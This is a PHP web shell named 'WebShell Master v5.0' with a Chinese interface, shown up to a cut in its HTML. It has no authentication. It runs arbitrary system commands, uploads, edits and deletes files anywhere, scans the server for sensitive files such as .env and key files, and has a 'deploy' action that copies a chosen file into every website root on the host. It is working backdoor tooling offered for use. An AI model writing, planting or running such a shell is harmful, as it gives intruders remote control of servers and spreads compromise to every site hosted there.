<?php
// WebShell Master v5.0
session_start();
$current_path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$current_path) $current_path = getcwd();

$action = $_GET['action'] ?? '';
$message = '';
$selected_files = $_POST['selected'] ?? [];

// 获取网站根目录
$doc_root = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();

if ($action === 'upload' && isset($_FILES['file'])) {
    foreach ($_FILES['file']['tmp_name'] as $i => $tmp) {
        if ($_FILES['file']['error'][$i] === UPLOAD_ERR_OK) {
            $target = $current_path . '/' . basename($_FILES['file']['name'][$i]);
            if (move_uploaded_file($tmp, $target))
                $message = '<div class="toast success">✓ 文件上传成功</div>';
        }
    }
} elseif ($action === 'deploy' && isset($_GET['file'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    if (file_exists($file) && !is_dir($file)) {
        $targets = [];
        // 扫描所有子目录查找可能的网站根目录
        $it = new RecursiveDirectoryIterator($doc_root, RecursiveDirectoryIterator::SKIP_DOTS);
        $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST);
        foreach ($files as $f) {
            if ($f->isDir() && basename($f) == 'public_html') {
                $targets[] = $f->getPathname();
            }
        }
        $targets[] = $doc_root; // 主根目录
        
        $count = 0;
        foreach ($targets as $target) {
            $dest = $target . '/' . basename($file);
            if (copy($file, $dest)) $count++;
        }
        $message = '<div class="toast success">✓ 已部署到 ' . $count . ' 个网站根目录</div>';
    }
} elseif ($action === 'mass_copy' && isset($_GET['file'], $_GET['dest'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    $dest_dir = $_GET['dest'];
    if (file_exists($file) && !is_dir($file) && is_dir($dest_dir)) {
        $dest = $dest_dir . '/' . basename($file);
        if (copy($file, $dest))
            $message = '<div class="toast success">✓ 文件复制成功</div>';
    }
} elseif ($action === 'find_websites') {
    $website_roots = [];
    $it = new RecursiveDirectoryIterator('/', RecursiveDirectoryIterator::SKIP_DOTS);
    $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST);
    $count = 0;
    foreach ($files as $file) {
        if ($file->isDir() && (basename($file) == 'public_html' || basename($file) == 'www' || basename($file) == 'htdocs')) {
            $website_roots[] = $file->getPathname();
            $count++;
            if ($count >= 20) break; // 限制数量
        }
    }
    $_SESSION['website_roots'] = $website_roots;
    $message = '<div class="toast info">✓ 找到 ' . count($website_roots) . ' 个网站根目录</div>';
} elseif ($action === 'file_audit') {
    $sensitive_files = [];
    $patterns = [
        '/config\.php$/i',
        '/\.env$/i',
        '/database\.php$/i',
        '/settings\.php$/i',
        '/config\.json$/i',
        '/\.pem$/i',
        '/\.key$/i',
        '/passwd$/i',
    ];
    
    $it = new RecursiveDirectoryIterator($current_path, RecursiveDirectoryIterator::SKIP_DOTS);
    $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST);
    foreach ($files as $file) {
        if (!$file->isDir()) {
            foreach ($patterns as $pattern) {
                if (preg_match($pattern, $file->getFilename())) {
                    $sensitive_files[] = $file->getPathname();
                    break;
                }
            }
        }
    }
    
    if (!empty($sensitive_files)) {
        $msg = '<div class="toast warning"><strong>敏感文件扫描结果：</strong><br>';
        foreach ($sensitive_files as $file) {
            $relative = str_replace($current_path . '/', '', $file);
            $msg .= htmlspecialchars($relative) . '<br>';
        }
        $msg .= '</div>';
        $message = $msg;
    } else {
        $message = '<div class="toast success">✓ 未发现敏感文件</div>';
    }
} elseif ($action === 'backdoor_check') {
    $suspicious = [];
    $patterns = [
        '/eval\(/i',
        '/base64_decode\(/i',
        '/system\(/i',
        '/exec\(/i',
        '/shell_exec\(/i',
        '/passthru\(/i',
        '/popen\(/i',
        '/proc_open\(/i',
        '/assert\(/i',
        '/create_function\(/i',
    ];
    
    $it = new RecursiveDirectoryIterator($current_path, RecursiveDirectoryIterator::SKIP_DOTS);
    $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST);
    foreach ($files as $file) {
        if (!$file->isDir() && preg_match('/\.(php|php3|php4|php5|phtml)$/i', $file->getFilename())) {
            $content = file_get_contents($file->getPathname());
            foreach ($patterns as $pattern) {
                if (preg_match($pattern, $content)) {
                    $suspicious[] = $file->getPathname();
                    break;
                }
            }
        }
    }
    
    if (!empty($suspicious)) {
        $msg = '<div class="toast warning"><strong>可疑文件检测：</strong><br>';
        foreach ($suspicious as $file) {
            $relative = str_replace($current_path . '/', '', $file);
            $msg .= htmlspecialchars($relative) . '<br>';
        }
        $msg .= '</div>';
        $message = $msg;
    } else {
        $message = '<div class="toast success">✓ 未发现可疑文件</div>';
    }
} elseif ($action === 'file_backup' && isset($_GET['file'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    if (file_exists($file) && !is_dir($file)) {
        $backup_name = $current_path . '/' . basename($file) . '.backup_' . date('Ymd_His');
        if (copy($file, $backup_name))
            $message = '<div class="toast success">✓ 备份创建成功：' . basename($backup_name) . '</div>';
    }
} elseif ($action === 'restore_backup' && isset($_GET['file'])) {
    $backup = $current_path . '/' . basename($_GET['file']);
    if (file_exists($backup) && !is_dir($backup) && strpos($backup, '.backup_') !== false) {
        $original = preg_replace('/\.backup_\d{8}_\d{6}$/', '', $backup);
        if (copy($backup, $original))
            $message = '<div class="toast success">✓ 恢复成功</div>';
    }
} elseif ($action === 'quick_edit') {
    $files = isset($_POST['files']) ? explode("\n", trim($_POST['files'])) : [];
    $search = $_POST['search'] ?? '';
    $replace = $_POST['replace'] ?? '';
    $count = 0;
    
    foreach ($files as $file) {
        $file = trim($file);
        if (!$file) continue;
        $full_path = $current_path . '/' . basename($file);
        if (file_exists($full_path) && !is_dir($full_path)) {
            $content = file_get_contents($full_path);
            $new_content = str_replace($search, $replace, $content);
            if ($new_content !== $content) {
                file_put_contents($full_path, $new_content);
                $count++;
            }
        }
    }
    
    if ($count > 0) {
        $message = '<div class="toast success">✓ 批量替换完成，共修改 ' . $count . ' 个文件</div>';
    }
} elseif ($action === 'file_analyze' && isset($_GET['file'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    if (file_exists($file) && !is_dir($file)) {
        $content = file_get_contents($file);
        $lines = count(file($file));
        $chars = strlen($content);
        $words = str_word_count($content);
        $size = filesize($file);
        
        $message = '<div class="toast info"><strong>文件分析：</strong><br>' .
                   '行数：' . $lines . '<br>' .
                   '字符数：' . $chars . '<br>' .
                   '单词数：' . $words . '<br>' .
                   '文件大小：' . $size . ' 字节<br>' .
                   '最后修改：' . date('Y-m-d H:i:s', filemtime($file)) . '</div>';
    }
} elseif ($action === 'create_symlink' && isset($_GET['target'], $_GET['link'])) {
    $target = $current_path . '/' . basename($_GET['target']);
    $link = $current_path . '/' . basename($_GET['link']);
    if (file_exists($target) && !file_exists($link)) {
        if (symlink($target, $link))
            $message = '<div class="toast success">✓ 符号链接创建成功</div>';
    }
} elseif ($action === 'file_compress' && isset($_GET['file'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    if (file_exists($file) && !is_dir($file)) {
        $content = file_get_contents($file);
        $compressed = gzcompress($content, 9);
        file_put_contents($file . '.gz', $compressed);
        $message = '<div class="toast success">✓ 文件压缩完成，压缩率：' . 
                   round((1 - strlen($compressed) / strlen($content)) * 100, 2) . '%</div>';
    }
} elseif ($action === 'file_decompress' && isset($_GET['file'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    if (file_exists($file) && !is_dir($file) && substr($file, -3) === '.gz') {
        $compressed = file_get_contents($file);
        $decompressed = gzuncompress($compressed);
        $new_file = substr($file, 0, -3);
        file_put_contents($new_file, $decompressed);
        $message = '<div class="toast success">✓ 文件解压完成</div>';
    }
} elseif ($action === 'batch_rename_pattern' && isset($_POST['pattern'], $_POST['files'])) {
    $pattern = $_POST['pattern'];
    $files = explode("\n", trim($_POST['files']));
    $count = 0;
    
    foreach ($files as $file) {
        $file = trim($file);
        if (!$file) continue;
        $old = $current_path . '/' . basename($file);
        if (file_exists($old)) {
            $new_name = preg_replace($pattern, '', basename($file));
            if ($new_name !== basename($file)) {
                $new = $current_path . '/' . $new_name;
                if (!file_exists($new)) {
                    rename($old, $new);
                    $count++;
                }
            }
        }
    }
    
    if ($count > 0) {
        $message = '<div class="toast success">✓ 批量重命名完成，共处理 ' . $count . ' 个文件</div>';
    }
} elseif ($action === 'file_encrypt_aes' && isset($_GET['file'], $_GET['key'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    $key = $_GET['key'];
    if (file_exists($file) && !is_dir($file) && function_exists('openssl_encrypt')) {
        $content = file_get_contents($file);
        $iv = openssl_random_pseudo_bytes(16);
        $encrypted = openssl_encrypt($content, 'AES-256-CBC', hash('sha256', $key, true), 0, $iv);
        file_put_contents($file . '.aes', $iv . $encrypted);
        $message = '<div class="toast success">✓ AES加密完成</div>';
    }
} elseif ($action === 'file_decrypt_aes' && isset($_GET['file'], $_GET['key'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    $key = $_GET['key'];
    if (file_exists($file) && !is_dir($file) && substr($file, -4) === '.aes' && function_exists('openssl_decrypt')) {
        $data = file_get_contents($file);
        $iv = substr($data, 0, 16);
        $encrypted = substr($data, 16);
        $decrypted = openssl_decrypt($encrypted, 'AES-256-CBC', hash('sha256', $key, true), 0, $iv);
        $new_file = substr($file, 0, -4);
        file_put_contents($new_file, $decrypted);
        $message = '<div class="toast success">✓ AES解密完成</div>';
    }
} elseif ($action === 'generate_password') {
    $length = isset($_GET['length']) ? intval($_GET['length']) : 12;
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?';
    $password = '';
    for ($i = 0; $i < $length; $i++) {
        $password .= $chars[random_int(0, strlen($chars) - 1)];
    }
    $_SESSION['generated_password'] = $password;
    $message = '<div class="toast info">✓ 密码生成成功：' . htmlspecialchars($password) . '</div>';
} elseif ($action === 'save_settings' && isset($_POST['settings'])) {
    $settings = json_decode($_POST['settings'], true);
    $_SESSION['shell_settings'] = $settings;
    $message = '<div class="toast success">✓ 设置保存成功</div>';
} elseif ($action === 'delete' && isset($_GET['file'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    if (file_exists($file)) {
        if (is_dir($file)) {
            rmdir($file) ? $message = '<div class="toast success">✓ 目录已删除</div>' : $message = '<div class="toast error">✗ 删除失败</div>';
        } else {
            unlink($file) ? $message = '<div class="toast success">✓ 文件已删除</div>' : $message = '<div class="toast error">✗ 删除失败</div>';
        }
    }
} elseif ($action === 'edit' && isset($_POST['content'], $_GET['file'])) {
    $file = $current_path . '/' . basename($_GET['file']);
    file_put_contents($file, $_POST['content']);
    $message = '<div class="toast success">✓ 保存成功</div>';
} elseif ($action === 'exec' && isset($_POST['cmd'])) {
    ob_start();
    system($_POST['cmd']);
    $output = ob_get_clean();
    $message = '<div class="toast info"><pre>' . htmlspecialchars($output) . '</pre></div>';
}

$total_dirs = 0;
$total_files = 0;
$total_size = 0;
$items = scandir($current_path);
foreach ($items as $item) {
    if ($item == '.' || $item == '..') continue;
    $full = $current_path . '/' . $item;
    if (is_dir($full)) $total_dirs++;
    else { $total_files++; $total_size += filesize($full); }
}
$size_str = $total_size > 1048576 ? round($total_size/1048576,2).' MB' : ($total_size > 1024 ? round($total_size/1024,1).' KB' : $total_size.' B');
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebShell Master</title>
<style>
:root {
    --primary: #7c3aed;
    --primary-light: #8b5cf6;
    --secondary: #f59e0b;
    --danger: #ef4444;
    --success: #10b981;
    --warning: #f59e0b;
    --info: #3b82f6;
    --dark: #0f172a;
    --darker: #020617;
    --gray: #64748b;
    --light: #f8fafc;
    --sidebar: #1e293b;
    --card: rgba(30, 41, 59, 0.7);
    --border: rgba(100, 116, 139, 0.3);
}
* { margin:0; padding:0; box-sizing:border-box; font-family:'Inter', system-ui, -apple-system, sans-serif; }
body { background:linear-gradient(135deg, var(--darker) 0%, #1e1b4b 100%); color:var(--light); min-height:100vh; overflow-x:hidden; }
.app { display:flex; min-height:100vh; }
.sidebar { width:260px; background:var(--sidebar); border-right:1px solid var(--border); padding:20px; display:flex; flex-direction:column; gap:20px; position:sticky; top:0; height:100vh; }
.sidebar-header { display:flex; align-items:center; gap:10px; margin-bottom:20px; }
.logo { width:40px; height:40px; background:linear-gradient(135deg, var(--primary), var(--primary-light)); border-radius:10px; display:flex; align-items:center; justify-content:center; font-size:20px; }
.sidebar-nav { display:flex; flex-direction:column; gap:8px; }
.nav-item { padding:12px 16px; background:transparent; border:none; color:var(--gray); border-radius:8px; cursor:pointer; display:flex; align-items:center; gap:10px; transition:all 0.3s; text-align:left; font-size:14px; }
.nav-item:hover { background:rgba(124, 58, 237, 0.1); color:var(--light); }
.nav-item.active { background:linear-gradient(135deg, var(--primary), var(--primary-light)); color:white; box-shadow:0 4px 12px rgba(124, 58, 237, 0.3); }
.main { flex:1; padding:20px; overflow-y:auto; }
.header { background:var(--card); backdrop-filter:blur(10px); border:1px solid var(--border); padding:20px 30px; border-radius:16px; margin-bottom:20px; display:flex; justify-content:space-between; align-items:center; }
.header h1 { font-size:24px; font-weight:700; background:linear-gradient(135deg, var(--light), #c7d2fe); -webkit-background-clip:text; -webkit-text-fill-color:transparent; }
.header-info { display:flex; gap:12px; flex-wrap:wrap; }
.badge { background:rgba(30, 41, 59, 0.6); padding:6px 12px; border-radius:20px; border:1px solid var(--border); font-size:12px; color:var(--gray); }
.content-grid { display:grid; grid-template-columns:repeat(auto-fit, minmax(300px, 1fr)); gap:20px; margin-bottom:20px; }
.card { background:var(--card); border:1px solid var(--border); border-radius:16px; padding:20px; transition:all 0.3s ease; }
.card:hover { transform:translateY(-5px); box-shadow:0 10px 30px rgba(124, 58, 237, 0.2); }
.card-header { display:flex; align-items:center; justify-content:space-between; margin-bottom:15px; }
.card-header h3 { font-size:16px; color:var(--light); }
.card-body { font-size:13px; line-height:1.6; }
.btn { padding:10px 20px; background:linear-gradient(135deg, var(--primary), var(--primary-light)); border:none; border-radius:10px; color:white; font-size:13px; font-weight:500; cursor:pointer; transition:all 0.3s; display:inline-flex; align-items:center; gap:8px; }
.btn:hover { transform:translateY(-2px); box-shadow:0 5px 20px rgba(124, 58, 237, 0.4); }
.btn.secondary { background:rgba(30, 41, 59, 0.8); }
.btn.danger { background:linear-gradient(135deg, var(--danger), #f87171); }
.btn.success { background:linear-gradient(135deg, var(--success), #34d399); }
.btn.warning { background:linear-gradient(135deg, var(--warning), #fbbf24); }
.btn.info { background:linear-gradient(135deg, var(--info), #60a5fa); }
.input-group { margin-bottom:15px; }
.input-group label { display:block; margin-bottom:6px; color:var(--gray); font-size:12px; }
.input-group input, .input-group select, .input-group textarea { width:100%; padding:10px 12px; background:rgba(2, 6, 23, 0.8); border:1px solid var(--border); border-radius:8px; color:var(--light); font-size:13px; outline:none; transition:all 0.2s; }
.input-group input:focus, .input-group select:focus, .input-group textarea:focus { border-color:var(--primary); box-shadow:0 0 0 2px rgba(124, 58, 237, 0.1); }
.toast { padding:12px 20px; border-radius:10px; margin-bottom:15px; border-left:4px solid; background:var(--card); animation:slideIn 0.3s ease; }
@keyframes slideIn { from { opacity:0; transform:translateX(-20px); } to { opacity:1; transform:translateX(0); } }
.toast.success { border-color:var(--success); color:var(--success); }
.toast.error { border-color:var(--danger); color:var(--danger); }
.toast.info { border-color:var(--info); color:var(--info); }
.toast.warning { border-color:var(--warning); color:var(--warning); }
.file-grid { display:grid; grid-template-columns:repeat(auto-fill, minmax(180px, 1fr)); gap:15px; }
.file-item { background:var(--card); border:1px solid var(--border); border-radius:12px; padding:15px; transition:all 0.2s; cursor:pointer; }
.file-item:hover { border-color:var(--primary); transform:translateY(-2px); }
.file-icon { font-size:24px; margin-bottom:8px; text-align:center; }
.file-name { font-size:12px; color:var(--light); text-align:center; word-break:break-all; }
.file-actions { display:flex; gap:4px; justify-content:center; margin-top:8px; }
.file-action { padding:3px 6px; border-radius:6px; font-size:10px; border:none; cursor:pointer; transition:all 0.2s; }
.file-action.view { background:rgba(59, 130, 246, 0.2); color:#93c5fd; }
.file-action.edit { background:rgba(124, 58, 237, 0.2); color:#c4b5fd; }
.file-action.delete { background:rgba(239, 68, 68, 0.2); color:#fca5a5; }
.modal { display:none; position:fixed; top:0; left:0; right:0; bottom:0; background:rgba(0,0,0,0.8); backdrop-filter:blur(5px); z-index:1000; align-items:center; justify-content:center; }
.modal.active { display:flex; animation:fadeIn 0.3s ease; }
@keyframes fadeIn { from { opacity:0; } to { opacity:1; } }
.modal-content { background:var(--card); border:1px solid var(--border); border-radius:20px; padding:30px; width:700px; max-width:90%; max-height:90vh; overflow-y:auto; }
.modal-header { display:flex; align-items:center; justify-content:space-between; margin-bottom:20px; }
.modal-header h3 { font-size:18px; color:var(--light); }
.modal-body { margin-bottom:20px; }
.modal-footer { display:flex; gap:10px; justify-content:flex-end; }
.tabs { display:flex; gap:5px; background:rgba(15, 23, 42, 0.6); padding:5px; border-radius:12px; margin-bottom:20px; border:1px solid var(--border); }
.tab { flex:1; padding:10px; border:none; background:transparent; color:var(--gray); border-radius:8px; cursor:pointer; transition:all 0.3s; font-size:13px; }
.tab:hover { background:rgba(124, 58, 237, 0.1); color:var(--light); }
.tab.active { background:linear-gradient(135deg, var(--primary), var(--primary-light)); color:white; }
.tab-content { display:none; animation:fadeInUp 0.3s ease; }
@keyframes fadeInUp { from { opacity:0; transform:translateY(20px); } to { opacity:1; transform:translateY(0); } }
.tab-content.active { display:block; }
.path { display:flex; align-items:center; gap:5px; flex-wrap:wrap; background:var(--card); padding:10px 15px; border-radius:10px; margin-bottom:15px; border:1px solid var(--border); }
.path a { color:var(--primary); text-decoration:none; padding:3px 6px; border-radius:5px; }
.path a:hover { background:rgba(124, 58, 237, 0.1); }
.quick-actions { display:grid; grid-template-columns:repeat(auto-fill, minmax(150px, 1fr)); gap:10px; margin-bottom:20px; }
.action-btn { background:var(--card); border:1px solid var(--border); border-radius:10px; padding:12px; display:flex; flex-direction:column; align-items:center; gap:8px; cursor:pointer; transition:all 0.2s; }
.action-btn:hover { border-color:var(--primary); transform:translateY(-2px); }
.action-btn i { font-size:20px; }
.action-btn span { font-size:12px; text-align:center; }
.code-editor { width:100%; height:400px; padding:15px; background:#1a1a2e; border:1px solid var(--border); border-radius:10px; color:#e2e8f0; font-family:'JetBrains Mono', monospace; font-size:12px; resize:vertical; outline:none; }
.stats { display:flex; gap:20px; flex-wrap:wrap; margin-bottom:20px; }
.stat-item { display:flex; align-items:center; gap:8px; font-size:12px; color:var(--gray); }
@media (max-width:1024px) { .sidebar { width:200px; } .content-grid { grid-template-columns:1fr; } .file-grid { grid-template-columns:repeat(auto-fill, minmax(150px, 1fr)); } }
@media (max-width:768px) { .app { flex-direction:column; } .sidebar { width:100%; height:auto; position:static; } .sidebar-nav { flex-direction:row; flex-wrap:wrap; } .nav-item { flex:1; justify-content:center; } .header { flex-direction:column; gap:10px; } }
</style>
</head>
<body>
<div class="app">
    <div class="sidebar">
        <div class="sidebar-header">
            <div class="logo">⚡</div>
            <div>
                <div style="font-size:16px; font-weight:600;">WebShell Master</div>
                <div style="font-size:11px; color:var(--gray);">v5.0</div>
            </div>
        </div>
        
        <div class="sidebar-nav">
            <button class="nav-item active" onclick="showTab('files')">📁 文件管理</button>
            <button class="nav-item" onclick="showTab('deploy')">🚀 快速部署</button>
            <button class="nav-item" onclick="showTab('security')">🛡️ 安全检查</button>
            <button class="nav-item" onclick="showTab('tools')">🛠️ 工具箱</button>
            <button class="nav-item" onclick="showTab('system')">⚙️ 系统</button>
            <button class="nav-item" onclick="showTab('terminal')">💻 终端</button>
        </div>
        
        <div class="card" style="margin-top:auto;">
            <h3>系统信息</h3>
            <div class="card-body">
                <div>PHP: <?php echo phpversion(); ?></div>
                <div>内存: <?php echo round(memory_get_usage()/1024/1024,2); ?> MB</div>
                <div>用户: <?php echo get_current_user(); ?></div>
            </div>
        </div>
    </div>
    
    <div class="main">
        <div class="header">
            <h1>WebShell Master</h1>
            <div class="header-info">
                <span class="badge">📁 <?php echo htmlspecialchars(basename($current_path)); ?></span>
                <span class="badge">🐘 PHP <?php echo phpversion(); ?></span>
                <span class="badge">💾 <?php echo $size_str; ?></span>
            </div>
        </div>
        
        <?php echo $message; ?>
        
        <div class="path">
            <?php
            $parts = explode('/', trim($current_path, '/'));
            echo '<a href="?path=/">🏠 根目录</a>';
            $cumulative = '';
            foreach ($parts as $part) {
                if (empty($part)) continue;
                $cumulative .= '/' . $part;
                echo '<span>/</span><a href="?path=' . urlencode($cumulative) . '">' . htmlspecialchars($part) . '</a>';
            }
            ?>
        </div>
        
        <div class="tab-content active" id="tab-files">
            <div class="quick-actions">
                <div class="action-btn" onclick="showModal('uploadModal')">
                    <span>📤</span>
                    <span>上传文件</span>
                </div>
                <div class="action-btn" onclick="showModal('newDirModal')">
                    <span>📁</span>
                    <span>新建目录</span>
                </div>
                <div class="action-btn" onclick="showModal('searchModal')">
                    <span>🔍</span>
                    <span>搜索文件</span>
                </div>
                <div class="action-btn" onclick="selectAllFiles()">
                    <span>✅</span>
                    <span>全选文件</span>
                </div>
                <div class="action-btn" onclick="batchDownload()">
                    <span>⬇️</span>
                    <span>批量下载</span>
                </div>
            </div>
            
            <div class="stats">
                <div class="stat-item">📁 <?php echo $total_dirs; ?> 个目录</div>
                <div class="stat-item">📄 <?php echo $total_files; ?> 个文件</div>
                <div class="stat-item">💾 <?php echo $size_str; ?></div>
            </div>
            
            <div class="file-grid">
                <?php
                $dirs = []; $files = [];
                foreach ($items as $item) {
                    if ($item == '.' || $item == '..') continue;
                    $full = $current_path . '/' . $item;
                    if (is_dir($full)) $dirs[] = $item;
                    else $files[] = $item;
                }
                sort($dirs); sort($files);
                $all_items = array_merge($dirs, $files);
                
                foreach ($all_items as $item):
                    $full = $current_path . '/' . $item;
                    $is_dir = is_dir($full);
                    $icon = $is_dir ? '📁' : (preg_match('/\.(php|js|css|html)$/i', $item) ? '📄' : (preg_match('/\.(jpg|png|gif)$/i', $item) ? '🖼️' : '📄'));
                ?>
                <div class="file-item" onclick="fileClicked('<?php echo htmlspecialchars($item); ?>')">
                    <div class="file-icon"><?php echo $icon; ?></div>
                    <div class="file-name"><?php echo htmlspecialchars($item); ?></div>
                    <div class="file-actions">
                        <button class="file-action view" onclick="event.stopPropagation(); openEditor('<?php echo htmlspecialchars($item); ?>')">查看</button>
                        <button class="file-action edit" onclick="event.stopPropagation(); openEditor('<?php echo htmlspecialchars($item); ?>')">编辑</button>
                        <button class="file-action delete" onclick="event.stopPropagation(); if(confirm('确认删除？')) location.href='?action=delete&file=<?php echo urlencode($item); ?>&path=<?php echo urlencode($current_path); ?>'">删除</button>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
        
        <div class="tab-content" id="tab-deploy">
            <div class="content-grid">
                <div class="card">
                    <div class="card-header">
                        <h3>🚀 快速部署</h3>
                    </div>
                    <div class="card-body">
                        <p style="margin-bottom:15px;">将文件一键部署到所有网站根目录</p>
                        <form method="get" id="deployForm">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <div class="input-group">
                                <label>选择要部署的文件</label>
                                <select name="file" required>
                                    <option value="">-- 选择文件 --</option>
                                    <?php foreach ($files as $file): ?>
                                    <option value="<?php echo htmlspecialchars($file); ?>"><?php echo htmlspecialchars($file); ?></option>
                                    <?php endforeach; ?>
                                </select>
                            </div>
                            <button type="submit" name="action" value="deploy" class="btn success">🚀 一键部署</button>
                        </form>
                    </div>
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h3>🔍 网站扫描</h3>
                    </div>
                    <div class="card-body">
                        <p style="margin-bottom:15px;">扫描服务器上的所有网站根目录</p>
                        <form method="get">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <button type="submit" name="action" value="find_websites" class="btn info">🔍 扫描网站</button>
                        </form>
                        <?php if (isset($_SESSION['website_roots'])): ?>
                        <div style="margin-top:15px; max-height:200px; overflow-y:auto;">
                            <strong>找到的网站根目录：</strong><br>
                            <?php foreach ($_SESSION['website_roots'] as $root): ?>
                            <div style="font-size:11px; color:var(--gray); margin-top:5px;"><?php echo htmlspecialchars($root); ?></div>
                            <?php endforeach; ?>
                        </div>
                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </div>
        
        <div class="tab-content" id="tab-security">
            <div class="content-grid">
                <div class="card">
                    <div class="card-header">
                        <h3>🛡️ 敏感文件检查</h3>
                    </div>
                    <div class="card-body">
                        <p style="margin-bottom:15px;">扫描当前目录下的敏感配置文件</p>
                        <form method="get">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <button type="submit" name="action" value="file_audit" class="btn warning">🛡️ 开始扫描</button>
                        </form>
                    </div>
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h3>🔍 后门检测</h3>
                    </div>
                    <div class="card-body">
                        <p style="margin-bottom:15px;">检测PHP文件中的可疑代码</p>
                        <form method="get">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <button type="submit" name="action" value="backdoor_check" class="btn danger">🔍 开始检测</button>
                        </form>
                    </div>
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h3>💾 文件备份</h3>
                    </div>
                    <div class="card-body">
                        <p style="margin-bottom:15px;">创建重要文件的备份</p>
                        <form method="get" id="backupForm">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <div class="input-group">
                                <label>选择要备份的文件</label>
                                <select name="file" required>
                                    <option value="">-- 选择文件 --</option>
                                    <?php foreach ($files as $file): ?>
                                    <option value="<?php echo htmlspecialchars($file); ?>"><?php echo htmlspecialchars($file); ?></option>
                                    <?php endforeach; ?>
                                </select>
                            </div>
                            <button type="submit" name="action" value="file_backup" class="btn info">💾 创建备份</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        
        <div class="tab-content" id="tab-tools">
            <div class="content-grid">
                <div class="card">
                    <div class="card-header">
                        <h3>🔧 批量处理</h3>
                    </div>
                    <div class="card-body">
                        <form method="post" action="?action=quick_edit&path=<?php echo urlencode($current_path); ?>">
                            <div class="input-group">
                                <label>文件列表（每行一个）</label>
                                <textarea name="files" rows="5" placeholder="file1.php
file2.php
file3.php"></textarea>
                            </div>
                            <div class="input-group">
                                <label>查找内容</label>
                                <input type="text" name="search" placeholder="要查找的文本">
                            </div>
                            <div class="input-group">
                                <label>替换为</label>
                                <input type="text" name="replace" placeholder="替换的文本">
                            </div>
                            <button type="submit" class="btn success">🔧 批量替换</button>
                        </form>
                    </div>
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h3>🔐 高级加密</h3>
                    </div>
                    <div class="card-body">
                        <p style="margin-bottom:15px;">使用AES-256加密文件</p>
                        <form method="get" id="aesForm">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <div class="input-group">
                                <label>选择文件</label>
                                <select name="file" required>
                                    <option value="">-- 选择文件 --</option>
                                    <?php foreach ($files as $file): ?>
                                    <option value="<?php echo htmlspecialchars($file); ?>"><?php echo htmlspecialchars($file); ?></option>
                                    <?php endforeach; ?>
                                </select>
                            </div>
                            <div class="input-group">
                                <label>加密密钥</label>
                                <input type="text" name="key" required placeholder="输入加密密钥">
                            </div>
                            <div style="display:flex; gap:10px;">
                                <button type="submit" name="action" value="file_encrypt_aes" class="btn success">🔐 加密</button>
                                <button type="submit" name="action" value="file_decrypt_aes" class="btn info">🔓 解密</button>
                            </div>
                        </form>
                    </div>
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h3>📊 文件分析</h3>
                    </div>
                    <div class="card-body">
                        <form method="get" id="analyzeForm">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <div class="input-group">
                                <label>选择文件进行分析</label>
                                <select name="file" required>
                                    <option value="">-- 选择文件 --</option>
                                    <?php foreach ($files as $file): ?>
                                    <option value="<?php echo htmlspecialchars($file); ?>"><?php echo htmlspecialchars($file); ?></option>
                                    <?php endforeach; ?>
                                </select>
                            </div>
                            <button type="submit" name="action" value="file_analyze" class="btn info">📊 分析文件</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        
        <div class="tab-content" id="tab-terminal">
            <div class="card">
                <div class="card-header">
                    <h3>💻 系统终端</h3>
                </div>
                <div class="card-body">
                    <form method="post" action="?action=exec&path=<?php echo urlencode($current_path); ?>">
                        <div class="input-group">
                            <textarea name="cmd" placeholder="输入系统命令..." required rows="3"></textarea>
                        </div>
                        <div style="display:flex; gap:10px; flex-wrap:wrap;">
                            <button type="submit" class="btn">▶️ 执行命令</button>
                            <button type="button" class="btn secondary" onclick="setCommand('ls -la')">📁 文件列表</button>
                            <button type="button" class="btn secondary" onclick="setCommand('whoami')">👤 当前用户</button>
                            <button type="button" class="btn secondary" onclick="setCommand('df -h')">💾 磁盘空间</button>
                            <button type="button" class="btn secondary" onclick="setCommand('ps aux | head -20')">⚙️ 进程查看</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
        
        <div class="tab-content" id="tab-system">
            <div class="content-grid">
                <div class="card">
                    <div class="card-header">
                        <h3>⚙️ 系统信息</h3>
                    </div>
                    <div class="card-body">
                        <div style="display:grid; grid-template-columns:repeat(auto-fit, minmax(200px, 1fr)); gap:10px; font-size:12px;">
                            <div><strong>PHP版本：</strong><?php echo phpversion(); ?></div>
                            <div><strong>服务器：</strong><?php echo $_SERVER['SERVER_SOFTWARE'] ?? '未知'; ?></div>
                            <div><strong>操作系统：</strong><?php echo php_uname('s'); ?> <?php echo php_uname('r'); ?></div>
